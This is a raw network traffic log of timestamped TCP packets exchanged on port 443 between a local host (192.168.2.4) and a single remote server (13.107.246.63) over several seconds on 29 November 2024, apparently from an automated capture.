Nov 29, 2024 23:11:27.185662031 CET	443	49833	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.185719013 CET	49833	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.185870886 CET	49833	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.185885906 CET	443	49833	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.185899973 CET	49833	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.185904026 CET	443	49833	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.188234091 CET	49838	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.188268900 CET	443	49838	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.188328981 CET	49838	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.188421965 CET	49838	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.188438892 CET	443	49838	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.204865932 CET	443	49837	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.205147982 CET	49837	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.205162048 CET	443	49837	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.205790997 CET	49837	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.205796003 CET	443	49837	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.415503025 CET	443	49835	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.415549040 CET	443	49835	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.415596008 CET	49835	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.415771008 CET	49835	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.415776968 CET	443	49835	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.415793896 CET	49835	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.415798903 CET	443	49835	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.418246984 CET	49839	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.418272972 CET	443	49839	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.418339968 CET	49839	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.418472052 CET	49839	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.418483019 CET	443	49839	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.461945057 CET	443	49834	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.462030888 CET	443	49834	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.462085962 CET	49834	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.462196112 CET	49834	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.462213993 CET	443	49834	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.462223053 CET	49834	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.462228060 CET	443	49834	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.464463949 CET	49840	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.464478970 CET	443	49840	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.464554071 CET	49840	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.464695930 CET	49840	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.464706898 CET	443	49840	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.517951012 CET	443	49836	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.517997980 CET	443	49836	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.518045902 CET	49836	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.518177986 CET	49836	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.518198967 CET	443	49836	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.518208981 CET	49836	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.518214941 CET	443	49836	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.520097971 CET	49841	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.520123005 CET	443	49841	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.520188093 CET	49841	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.520320892 CET	49841	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.520334959 CET	443	49841	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.649164915 CET	443	49837	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.649209976 CET	443	49837	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.649274111 CET	49837	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.649398088 CET	49837	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.649398088 CET	49837	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.649405003 CET	443	49837	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.649411917 CET	443	49837	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.651045084 CET	49842	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.651056051 CET	443	49842	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.651124954 CET	49842	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.651220083 CET	49842	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.651228905 CET	443	49842	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.036084890 CET	443	49838	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.036537886 CET	49838	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.036569118 CET	443	49838	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.036974907 CET	49838	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.036981106 CET	443	49838	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.187196970 CET	443	49839	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.187793016 CET	49839	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.187803030 CET	443	49839	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.188179016 CET	49839	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.188184023 CET	443	49839	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.249273062 CET	443	49841	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.249573946 CET	49841	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.249607086 CET	443	49841	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.249885082 CET	49841	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.249890089 CET	443	49841	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.315119982 CET	443	49840	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.315680981 CET	49840	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.315697908 CET	443	49840	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.316087008 CET	49840	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.316092968 CET	443	49840	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.480226040 CET	443	49838	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.480285883 CET	443	49838	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.480370045 CET	49838	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.480501890 CET	49838	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.480520964 CET	443	49838	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.480530977 CET	49838	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.480535984 CET	443	49838	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.482727051 CET	49844	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.482757092 CET	443	49844	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.482836008 CET	49844	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.482948065 CET	49844	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.482959032 CET	443	49844	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.529144049 CET	443	49842	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.529546976 CET	49842	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.529555082 CET	443	49842	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.529922962 CET	49842	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.529927015 CET	443	49842	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.622744083 CET	443	49839	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.622793913 CET	443	49839	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.622857094 CET	49839	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.622997046 CET	49839	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.623009920 CET	443	49839	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.623019934 CET	49839	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.623024940 CET	443	49839	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.625400066 CET	49845	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.625431061 CET	443	49845	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.625515938 CET	49845	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.625655890 CET	49845	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.625674009 CET	443	49845	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.741822958 CET	443	49841	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.741877079 CET	443	49841	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.741926908 CET	49841	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.742237091 CET	49841	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.742258072 CET	443	49841	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.742269993 CET	49841	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.742275000 CET	443	49841	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.745399952 CET	49846	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.745429039 CET	443	49846	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.745515108 CET	49846	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.745635033 CET	49846	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.745646954 CET	443	49846	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.812781096 CET	443	49840	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.812869072 CET	443	49840	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.812953949 CET	49840	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.813035011 CET	49840	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.813049078 CET	443	49840	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.813060999 CET	49840	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.813065052 CET	443	49840	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.814990997 CET	49847	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.815020084 CET	443	49847	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.815088034 CET	49847	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.815220118 CET	49847	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.815246105 CET	443	49847	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.983494043 CET	443	49842	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.983546972 CET	443	49842	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.983597994 CET	49842	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.983751059 CET	49842	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.983756065 CET	443	49842	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.983767033 CET	49842	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.983769894 CET	443	49842	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.985757113 CET	49848	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.985784054 CET	443	49848	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:29.985862970 CET	49848	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.985981941 CET	49848	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:29.985991955 CET	443	49848	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.328608036 CET	443	49844	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.329055071 CET	49844	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.329067945 CET	443	49844	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.329473972 CET	49844	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.329478025 CET	443	49844	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.438678980 CET	443	49845	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.439209938 CET	49845	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.439227104 CET	443	49845	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.439624071 CET	49845	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.439634085 CET	443	49845	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.548851013 CET	443	49846	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.549377918 CET	49846	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.549391985 CET	443	49846	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.549820900 CET	49846	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.549824953 CET	443	49846	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.782478094 CET	443	49844	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.782529116 CET	443	49844	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.782599926 CET	49844	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.782785892 CET	49844	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.782800913 CET	443	49844	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.782812119 CET	49844	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.782815933 CET	443	49844	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.785820961 CET	49849	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.785846949 CET	443	49849	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.785932064 CET	49849	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.789319992 CET	49849	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.789330959 CET	443	49849	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.882514954 CET	443	49845	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.882561922 CET	443	49845	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.882699966 CET	49845	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.882864952 CET	49845	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.882888079 CET	443	49845	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.882898092 CET	49845	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.882904053 CET	443	49845	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.883234978 CET	443	49848	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.883622885 CET	49848	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.883646011 CET	443	49848	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.884036064 CET	49848	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.884041071 CET	443	49848	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.884974957 CET	49850	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.884994984 CET	443	49850	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.885062933 CET	49850	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.885201931 CET	49850	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.885210991 CET	443	49850	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.994200945 CET	443	49846	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.994244099 CET	443	49846	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.994376898 CET	49846	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.994518995 CET	49846	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.994533062 CET	443	49846	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.994543076 CET	49846	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.994548082 CET	443	49846	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.996628046 CET	49851	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.996655941 CET	443	49851	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:31.996736050 CET	49851	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.996865988 CET	49851	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:31.996877909 CET	443	49851	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.336951971 CET	443	49848	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.337002993 CET	443	49848	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.337064981 CET	49848	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.337287903 CET	49848	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.337301970 CET	443	49848	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.337311983 CET	49848	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.337316036 CET	443	49848	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.340092897 CET	49852	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.340111017 CET	443	49852	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.340186119 CET	49852	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.340359926 CET	49852	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.340367079 CET	443	49852	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.436049938 CET	443	49847	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.436415911 CET	49847	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.436434984 CET	443	49847	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.436830997 CET	49847	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.436836004 CET	443	49847	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.880237103 CET	443	49847	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.880319118 CET	443	49847	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.880367994 CET	49847	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.880539894 CET	49847	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.880563974 CET	443	49847	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.880573034 CET	49847	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.880578995 CET	443	49847	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.882929087 CET	49853	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.882972002 CET	443	49853	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:32.883045912 CET	49853	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.883188009 CET	49853	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:32.883204937 CET	443	49853	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:33.568588018 CET	443	49849	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:33.569022894 CET	49849	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:33.569045067 CET	443	49849	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:33.569442987 CET	49849	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:33.569447994 CET	443	49849	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:33.741698980 CET	443	49850	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:33.742094040 CET	49850	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:33.742116928 CET	443	49850	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:33.742479086 CET	49850	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:33.742486000 CET	443	49850	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:33.840599060 CET	443	49851	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:33.840936899 CET	49851	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:33.840966940 CET	443	49851	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:33.841319084 CET	49851	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:33.841324091 CET	443	49851	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.015516996 CET	443	49849	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.015587091 CET	443	49849	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.015641928 CET	49849	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.015809059 CET	49849	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.015820980 CET	443	49849	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.015832901 CET	49849	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.015836954 CET	443	49849	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.018276930 CET	49854	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.018296957 CET	443	49854	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.018374920 CET	49854	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.018516064 CET	49854	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.018526077 CET	443	49854	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.121246099 CET	443	49852	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.121613026 CET	49852	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.121623993 CET	443	49852	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.122064114 CET	49852	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.122066975 CET	443	49852	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.185956955 CET	443	49850	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.186005116 CET	443	49850	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.186052084 CET	49850	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.186216116 CET	49850	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.186228991 CET	443	49850	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.186238050 CET	49850	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.186243057 CET	443	49850	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.188760042 CET	49855	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.188816071 CET	443	49855	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.188882113 CET	49855	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.189001083 CET	49855	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.189018965 CET	443	49855	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.294625044 CET	443	49851	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.294671059 CET	443	49851	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.294728994 CET	49851	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.294872999 CET	49851	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.294883966 CET	443	49851	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.294893980 CET	49851	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.294898033 CET	443	49851	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.297278881 CET	49856	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.297297955 CET	443	49856	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.297370911 CET	49856	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.297514915 CET	49856	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.297527075 CET	443	49856	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.565200090 CET	443	49852	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.565262079 CET	443	49852	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.565412045 CET	49852	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.565654039 CET	49852	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.565660954 CET	443	49852	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.565689087 CET	49852	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.565692902 CET	443	49852	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.568221092 CET	49857	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.568233967 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.568310022 CET	49857	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.568455935 CET	49857	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.568464994 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.730768919 CET	443	49853	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.731169939 CET	49853	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.731194019 CET	443	49853	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:34.731600046 CET	49853	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:34.731605053 CET	443	49853	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.186722994 CET	443	49853	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.186800957 CET	443	49853	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.186966896 CET	49853	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.187180042 CET	49853	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.187194109 CET	443	49853	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.187203884 CET	49853	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.187208891 CET	443	49853	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.190361977 CET	49858	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.190376043 CET	443	49858	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.190437078 CET	49858	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.192270041 CET	49858	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.192281008 CET	443	49858	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.814477921 CET	443	49854	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.814994097 CET	49854	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.815010071 CET	443	49854	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.815443993 CET	49854	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.815448999 CET	443	49854	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.903450012 CET	443	49855	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.903784990 CET	49855	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.903804064 CET	443	49855	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:35.904141903 CET	49855	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:35.904148102 CET	443	49855	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.076925993 CET	443	49856	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.077462912 CET	49856	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.077483892 CET	443	49856	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.077846050 CET	49856	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.077852011 CET	443	49856	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.259394884 CET	443	49854	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.259452105 CET	443	49854	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.259493113 CET	49854	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.259668112 CET	49854	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.259676933 CET	443	49854	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.259687901 CET	49854	443	192.168.2.4	13.107.246.63
